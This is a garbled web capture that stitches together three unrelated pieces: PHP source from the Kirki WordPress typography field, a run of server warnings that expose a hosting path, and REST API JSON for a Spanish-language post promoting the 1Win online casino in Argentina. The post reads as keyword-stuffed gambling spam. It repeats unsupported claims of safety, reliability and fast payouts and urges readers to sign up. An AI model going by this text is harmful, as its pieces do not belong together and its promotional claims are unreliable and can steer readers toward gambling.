wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true );
wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls );
$args = $this->args;
$variants = [];
// Add custom variants (for custom fonts) to the $variants.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in variants argument.
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// Create new array if $variants[ $font_family['id'] ] doesn't exist.
if ( ! isset( $variants[ $font_family['id'] ] ) ) {
$variants[ $font_family['id'] ] = [];
}
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object.
array_push(
$variants[ $font_family['id'] ],
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
if ( isset( $font['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $font['stack'] ] ) ) {
$variants[ $font['stack'] ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $font['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $font['stack'] ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( is_int( $key ) ) ? $val : $key;
if ( isset( $val['variants'] ) ) {
// Create new array if $variants[ $font['stack'] ] doesn't exist.
if ( ! isset( $variants[ $key ] ) ) {
$variants[ $key ] = [];
}
// The $std_variant here can be something like "400italic" or "italic".
foreach ( $val['variants'] as $std_variant ) {
// Check if $std_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) {
// If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object.
array_push(
$variants[ $key ],
[
'value' => $std_variant,
'label' => self::$complete_variant_labels[ $std_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
}
}
// Scripts inside this block will only be executed once.
if ( ! self::$fonts_var_added ) {
wp_localize_script(
'kirki-control-typography',
'kirkiFontVariants',
[
'standard' => self::$std_variants,
'complete' => self::$complete_variants,
]
);
$google = new GoogleFonts();
wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() );
wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' );
self::$fonts_var_added = true;
}
// This custom variants will be available for each typography control.
$custom_variant_key = str_ireplace( ']', '', $args['settings'] );
$custom_variant_key = str_ireplace( '[', '_', $custom_variant_key );
$custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) );
wp_add_inline_script(
'kirki-control-typography',
'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';',
$variants
);
}
/**
* Enqueue scripts for customize_preview_init.
*
* @access public
* @since 1.0
* @return void
*/
public function enqueue_preview_scripts() {
wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true );
if ( ! self::$preview_var_added ) {
$google = new GoogleFonts();
wp_localize_script(
'kirki-preview-typography',
'kirkiGoogleFontNames',
$google->get_google_font_names()
);
self::$preview_var_added = true;
}
}
/**
* Prefer control specific value over field value
*
* @access public
* @since 4.0
* @param $setting
* @param $choice
* @param $args
*
* @return string
*/
public function filter_preferred_choice_setting( $setting, $choice, $args ) {
// Fail early.
if ( ! isset( $args[ $setting ] ) ) {
return '';
}
// If a specific field for the choice is set
if ( isset( $args[ $setting ][ $choice ] ) ) {
return $args[ $setting ][ $choice ];
}
// Unset input_attrs of all other choices.
foreach ( $args['choices'] as $id => $set ) {
if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) {
unset( $args[ $setting ][ $id ] );
} elseif ( ! isset( $args[ $setting ][ $id ] ) ) {
$args[ $setting ] = '';
}
}
return $args[ $setting ];
}
/**
* Populate the font family choices.
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.1
*
* @return array
*/
private function get_font_family_choices() {
$args = $this->args;
// Figure out how to sort the fonts.
$sorting = 'alpha';
$max_fonts = 9999;
$google = new GoogleFonts();
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) {
if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) {
$sorting = $args['choices']['fonts']['google'][0];
if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) {
$max_fonts = (int) $args['choices']['fonts']['google'][1];
}
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
} else {
$g_fonts = $args['choices']['fonts']['google'];
}
} else {
$g_fonts = $google->get_google_fonts_by_args(
[
'sort' => $sorting,
'count' => $max_fonts,
]
);
}
$std_fonts = [];
if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) {
$standard_fonts = Fonts::get_standard_fonts();
foreach ( $standard_fonts as $font ) {
$std_fonts[ $font['stack'] ] = $font['label'];
}
} elseif ( is_array( $args['choices']['fonts']['standard'] ) ) {
foreach ( $args['choices']['fonts']['standard'] as $key => $val ) {
$key = ( \is_int( $key ) ) ? $val : $key;
$std_fonts[ $key ] = $val;
}
}
$choices = [];
$choices['default'] = [
esc_html__( 'Defaults', 'kirki' ),
[
'' => esc_html__( 'Default', 'kirki' ),
],
];
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
// Implementing the custom font families.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
if ( ! isset( $choices[ $font_family_key ] ) ) {
$choices[ $font_family_key ] = [];
}
$family_opts = [];
foreach ( $font_family_value['children'] as $font_family ) {
$family_opts[ $font_family['id'] ] = $font_family['text'];
}
$choices[ $font_family_key ] = [
$font_family_value['text'],
$family_opts,
];
}
}
$choices['standard'] = [
esc_html__( 'Standard Fonts', 'kirki' ),
$std_fonts,
];
$choices['google'] = [
esc_html__( 'Google Fonts', 'kirki' ),
array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ),
];
if ( empty( $choices['standard'][1] ) ) {
$choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) );
} elseif ( empty( $choices['google'][1] ) ) {
$choices = $std_fonts;
}
return $choices;
}
/**
* Get custom variant choices (for custom fonts).
*
* It's separated from the `add_sub_field` function to prevent a bug
* when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field.
*
* When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work.
* But if it's hooked after field registration, then the function won't be available.
*
* @access private
* @since 1.0.2
*
* @return array
*/
private function get_variant_choices() {
$args = $this->args;
$choices = self::$std_variants;
// Implementing the custom variants for custom fonts.
if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) {
$choices = [];
// If $args['choices']['fonts']['families'] exists, then loop it.
foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) {
// Then loop the $font_family_value['children].
foreach ( $font_family_value['children'] as $font_family ) {
// Then check if $font_family['id'] exists in $args['choices']['fonts']['variants'].
if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) {
// The $custom_variant here can be something like "400italic" or "italic".
foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) {
// Check if $custom_variant exists in self::$complete_variant_labels.
if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) {
// If it exists, assign it to $choices.
array_push(
$choices,
[
'value' => $custom_variant,
'label' => self::$complete_variant_labels[ $custom_variant ],
]
);
} // End of isset(self::$complete_variant_labels[$font_family['id']]) if.
} // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach.
}
} // End of $font_family_value['children'] foreach.
} // End of $args['choices']['fonts']['families'] foreach.
} // End of $args['choices']['fonts']['families'] if.
return $choices;
}
/**
* Filter arguments before creating the control.
*
* @access public
* @since 0.1
* @param array $args The field arguments.
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return array
*/
public function filter_control_args( $args, $wp_customize ) {
if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_font_family_choices();
}
if ( $args['settings'] === $this->args['settings'] . '[variant]' ) {
$args = parent::filter_control_args( $args, $wp_customize );
$args['choices'] = $this->get_variant_choices();
}
return $args;
}
/**
* Adds a custom output class for typography fields.
*
* @access public
* @since 1.0
* @param array $classnames The array of classnames.
* @return array
*/
public function output_control_classnames( $classnames ) {
$classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography';
return $classnames;
}
/**
* Override parent method. No need to register any setting.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_setting( $wp_customize ) {}
/**
* Override the parent method. No need for a control.
*
* @access public
* @since 0.1
* @param WP_Customize_Manager $wp_customize The customizer instance.
* @return void
*/
public function add_control( $wp_customize ) {}
}
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
Warning: Cannot modify header information - headers already sent by (output started at /home/u125554008/domains/aimecu.org/public_html/wp-content/plugins/kirki/kirki-packages/field-typography/src/Field/Typography.php:1) in /home/u125554008/domains/aimecu.org/public_html/wp-includes/rest-api/class-wp-rest-server.php on line 1893
{"id":22498,"date":"2025-01-22T06:25:58","date_gmt":"2025-01-22T06:25:58","guid":{"rendered":"https:\/\/aimecu.org\/?p=22498"},"modified":"2025-01-22T15:09:32","modified_gmt":"2025-01-22T15:09:32","slug":"1win-en-argentina-analisis-completo-del-casino-en-linea","status":"publish","type":"post","link":"https:\/\/aimecu.org\/1win-en-argentina-analisis-completo-del-casino-en-linea\/","title":{"rendered":"1Win en Argentina an\u00e1lisis completo del casino en l\u00ednea"},"content":{"rendered":"
\n <\/p>\n <\/font>\n <\/p>\n Descubre el emocionante mundo de 1win casino online, donde la diversi\u00f3n y las ganancias est\u00e1n a solo un clic de distancia. Con la 1win app, podr\u00e1s acceder a tus juegos favoritos en cualquier momento y lugar.<\/p>\n Caracter\u00edstica Win1 Casino destaca por su interfaz intuitiva y su atenci\u00f3n al cliente, lo que lo convierte en una excelente opci\u00f3n para los jugadores argentinos. No importa si eres nuevo o experimentado, 1Win tiene algo para todos.<\/p>\n Si est\u00e1s buscando una experiencia \u00fanica en el mundo del 1win casino online, has llegado al lugar correcto. Con 1win argentina, tendr\u00e1s acceso a una amplia variedad de juegos y apuestas que te mantendr\u00e1n entretenido durante horas.<\/p>\n Para comenzar, solo necesitas realizar tu 1win login y explorar todas las opciones disponibles. Ya sea que prefieras el casino 1win o las apuestas deportivas, la plataforma est\u00e1 dise\u00f1ada para ofrecerte lo mejor.<\/p>\n Adem\u00e1s, con la 1win app, podr\u00e1s disfrutar de tus juegos favoritos desde cualquier lugar. Descarga la aplicaci\u00f3n y lleva contigo toda la emoci\u00f3n de win1 casino en tu dispositivo m\u00f3vil.<\/p>\n No esperes m\u00e1s y \u00fanete a la comunidad de 1 win en Argentina. Descubre por qu\u00e9 win1 es una de las plataformas m\u00e1s populares y confiables para el entretenimiento en l\u00ednea.<\/p>\n En el 1win casino online, los jugadores pueden disfrutar de una amplia selecci\u00f3n de juegos que se adaptan a todos los gustos. Desde tragamonedas emocionantes hasta mesas de ruleta y blackjack, el casino 1win ofrece opciones para principiantes y expertos.<\/p>\n Con el 1win login, accedes a una plataforma llena de diversi\u00f3n. Adem\u00e1s, la 1win app te permite jugar en cualquier momento y lugar, llevando la experiencia del win1 casino a tu dispositivo m\u00f3vil.<\/p>\n En 1win Argentina, encontrar\u00e1s juegos exclusivos y promociones especiales. Ya sea que prefieras el cl\u00e1sico poker o las modernas m\u00e1quinas tragamonedas, el 1win casino tiene algo para ti. \u00a1Descubre la emoci\u00f3n de ganar en 1 win!<\/p>\n En 1Win Argentina, los jugadores encuentran ventajas \u00fanicas dise\u00f1adas especialmente para ellos. Al realizar el 1Win login, accedes a promociones exclusivas y bonos de bienvenida que potencian tu experiencia en el casino 1Win.<\/p>\n El 1Win casino online ofrece una amplia variedad de juegos, desde tragamonedas hasta apuestas deportivas, adaptados a los gustos de los usuarios argentinos. Adem\u00e1s, con Win1, disfrutas de m\u00e9todos de pago locales y retiros r\u00e1pidos en pesos argentinos.<\/p>\n Al unirte a 1 Win, recibes acceso a torneos especiales y ofertas personalizadas que solo est\u00e1n disponibles para los jugadores de Argentina. No importa si eres nuevo o un usuario frecuente, en Win1 casino siempre hay algo nuevo para ti.<\/p>\n Explora el mundo del entretenimiento en 1win casino y descubre por qu\u00e9 One Win es la elecci\u00f3n preferida de los argentinos. \u00a1Reg\u00edstrate hoy y comienza a disfrutar de estos beneficios \u00fanicos!<\/p>\n En 1Win Argentina, ofrecemos una variedad de opciones de pago confiables para que disfrutes de tu experiencia en el casino 1Win sin preocupaciones. Ya sea que est\u00e9s utilizando la 1Win app o accediendo a trav\u00e9s de 1Win login, nuestras transacciones son r\u00e1pidas y seguras.<\/p>\n En el 1Win casino online, puedes elegir entre tarjetas de cr\u00e9dito, billeteras electr\u00f3nicas y criptomonedas. Cada m\u00e9todo est\u00e1 dise\u00f1ado para garantizar la protecci\u00f3n de tus datos y la rapidez en cada operaci\u00f3n. Adem\u00e1s, en el win1 casino, todos los dep\u00f3sitos y retiros se procesan de manera eficiente para que no pierdas tiempo.<\/p>\n Si prefieres jugar desde tu dispositivo m\u00f3vil, la 1win app te permite gestionar tus pagos de forma sencilla. Ya sea que est\u00e9s en el 1win casino o explorando otras secciones de 1 win, encontrar\u00e1s que nuestras opciones de pago se adaptan a tus necesidades. \u00a1Disfruta de la comodidad y seguridad que ofrece win1 en cada transacci\u00f3n!<\/p>\n La aplicaci\u00f3n m\u00f3vil de 1win ofrece una experiencia de usuario intuitiva y fluida, dise\u00f1ada para satisfacer las necesidades de los jugadores en 1win Argentina. Con un dise\u00f1o moderno y funcionalidades optimizadas, la 1win app permite acceder f\u00e1cilmente a todas las opciones del casino 1win desde cualquier dispositivo.<\/p>\n Adem\u00e1s, la aplicaci\u00f3n de one win incluye caracter\u00edsticas exclusivas como notificaciones en tiempo real y promociones personalizadas. Los usuarios de win1 casino pueden disfrutar de una experiencia segura y entretenida, con opciones de pago adaptadas a 1win argentina.<\/p>\n Con la 1win app, llevar el 1win casino en tu bolsillo nunca fue tan f\u00e1cil. \u00a1Descubre la comodidad de jugar en 1 win desde cualquier lugar!<\/p>\n En 1Win Argentina, las ofertas y promociones est\u00e1n dise\u00f1adas para maximizar tu experiencia en el casino online. Al realizar tu 1Win login, acceder\u00e1s a bonos exclusivos para nuevos usuarios y recompensas para jugadores habituales. En el 1Win casino online, encontrar\u00e1s promociones semanales que incluyen giros gratis, torneos emocionantes y cashback en tus apuestas.<\/p>\n Descarga la 1Win app y no te pierdas las ofertas especiales disponibles solo para usuarios m\u00f3viles. En el casino 1Win, las promociones se renuevan constantemente, ofreciendo oportunidades \u00fanicas para ganar m\u00e1s con One Win. Adem\u00e1s, en Win1 casino, los programas de fidelidad te permiten acumular puntos y canjearlos por premios incre\u00edbles.<\/p>\n Si buscas diversi\u00f3n y recompensas, 1Win es tu mejor opci\u00f3n. Explora las promociones en 1Win Argentina y descubre por qu\u00e9 Win1 casino es el favorito de los amantes de los juegos en l\u00ednea. \u00a1No esperes m\u00e1s y \u00fanete a 1Win casino para disfrutar de estas incre\u00edbles ofertas!<\/p>\n En 1Win, la satisfacci\u00f3n del usuario es una prioridad. Nuestro equipo de atenci\u00f3n al cliente est\u00e1 disponible para resolver cualquier duda o problema que puedas tener al utilizar 1win casino online.<\/p>\n Adem\u00e1s, en one win, nos esforzamos por brindar un servicio personalizado, adapt\u00e1ndonos a las necesidades de cada usuario. Ya sea que seas nuevo en 1 win o un jugador experimentado, nuestro objetivo es que tu experiencia en 1win casino sea inigualable.<\/p>\n 1Win casino online se destaca por su amplia variedad de juegos y apuestas, ideal para los amantes del entretenimiento. Con 1Win Argentina, disfrutas de una plataforma segura y confiable, dise\u00f1ada para ofrecer la mejor experiencia de juego.<\/p>\n La 1Win app te permite acceder a tu casino 1win favorito desde cualquier dispositivo, garantizando comodidad y flexibilidad. Adem\u00e1s, one win ofrece promociones exclusivas y bonos atractivos para nuevos y habituales usuarios.<\/p>\n Win1 casino es reconocido por su interfaz intuitiva y su soporte al cliente disponible 24\/7. Si buscas un casino en l\u00ednea en Argentina, 1 win es la opci\u00f3n perfecta para ganar y divertirte al m\u00e1ximo.<\/p>\n","protected":false},"excerpt":{"rendered":" \u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 1Win en Argentina: Revisi\u00f3n del Casino en L\u00ednea Descubre la plataforma de 1Win en Argentina Variedad de juegos en el casino en l\u00ednea de 1Win Beneficios exclusivos para los […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-22498","post","type-post","status-publish","format-standard","hentry","category-uncategorized","entry"],"acf":[],"yoast_head":"\n\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435<\/h2>\n
\n
1Win en Argentina: Revisi\u00f3n del Casino en L\u00ednea<\/a><\/h3>\n<\/li>\n
Descubre la plataforma de 1Win en Argentina<\/a><\/h3>\n<\/li>\n
Variedad de juegos en el casino en l\u00ednea de 1Win<\/a><\/h3>\n<\/li>\n
Beneficios exclusivos para los usuarios argentinos<\/a><\/h3>\n<\/li>\n
M\u00e9todos de pago seguros y r\u00e1pidos en 1Win<\/a><\/h3>\n<\/li>\n
Experiencia de usuario en la aplicaci\u00f3n m\u00f3vil de 1Win<\/a><\/h3>\n<\/li>\n
Ofertas y promociones especiales en 1Win<\/a><\/h3>\n<\/li>\n
Atenci\u00f3n al cliente de calidad en 1Win<\/a><\/h3>\n<\/li>\n
Por qu\u00e9 elegir 1Win como tu casino en l\u00ednea en Argentina<\/a><\/h3>\n<\/li>\n<\/ul><\/div>\n
1Win en Argentina an\u00e1lisis completo del casino en l\u00ednea<\/h1>\n
\n
\nDescripci\u00f3n<\/p>\nVariedad de juegos<\/td>\n 1Win Casino ofrece una amplia selecci\u00f3n de juegos, incluyendo tragamonedas, ruleta y blackjack.<\/td>\n Acceso m\u00f3vil<\/td>\n Con la 1Win App, puedes disfrutar de One Win desde cualquier lugar.<\/td>\n Seguridad<\/td>\n 1Win Argentina garantiza transacciones seguras y protecci\u00f3n de datos.<\/td>\n<\/table>\n Descubre la plataforma de 1Win en Argentina<\/h2>\n
Variedad de juegos en el casino en l\u00ednea de 1Win<\/h2>\n
Beneficios exclusivos para los usuarios argentinos<\/h2>\n
M\u00e9todos de pago seguros y r\u00e1pidos en 1Win<\/h2>\n
Experiencia de usuario en la aplicaci\u00f3n m\u00f3vil de 1Win<\/h2>\n
\n
Ofertas y promociones especiales en 1Win<\/h2>\n
Atenci\u00f3n al cliente de calidad en 1Win<\/h2>\n
\n
Por qu\u00e9 elegir 1Win como tu casino en l\u00ednea en Argentina<\/h2>\n